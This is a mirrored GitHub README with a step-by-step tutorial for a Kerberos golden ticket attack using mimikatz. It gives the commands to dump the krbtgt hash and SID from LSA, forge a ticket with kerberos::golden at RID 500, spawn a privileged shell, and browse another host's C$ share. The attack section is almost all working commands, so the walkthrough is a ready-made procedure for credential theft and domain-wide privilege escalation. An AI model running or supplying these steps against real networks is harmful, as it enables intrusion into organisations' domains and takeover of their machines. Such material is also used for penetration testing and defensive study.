Giter Site home page Giter Site logo

golden-ticket-attack's Introduction

Golden-Ticket-Attack

A golden ticket attack works by dumping the ticket-granting ticket of any user on the domain this would preferably be a domain admin however for a golden ticket you would dump the krbtgt ticket and for a silver ticket, you would dump any service or domain admin ticket. This will provide you with the service/domain admin account's SID or security identifier that is a unique identifier for each user account, as well as the NTLM hash. You then use these details inside of a mimikatz golden ticket attack in order to create a TGT that impersonates the given service account information.

Golden Ticket Attacks w/ mimikatz

Using mimikatz.exe, we gonna dump the krbtgt hash and sid.

.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt

OnPaste 20220614-120938

Now generate golden ticket using krbtgt hash and sid.

kerberos::golden /user: /domain: /sid: /krbtgt: /id:

NOTE: id is set to 500 for golden ticket attack.

OnPaste 20220614-121203

Use the Golden Ticket to access other machine.

This will open a new command prompt with elevated privileges to all machines.

misc::cmd

OnPaste 20220614-121351

Access other Machines! - You will now have another command prompt with access to all other machines on the network.

dir \\DESKTOP-1\c$

OnPaste 20220614-121503

OnPaste 20220614-122214

golden-ticket-attack's People

Contributors

k4sth4 avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.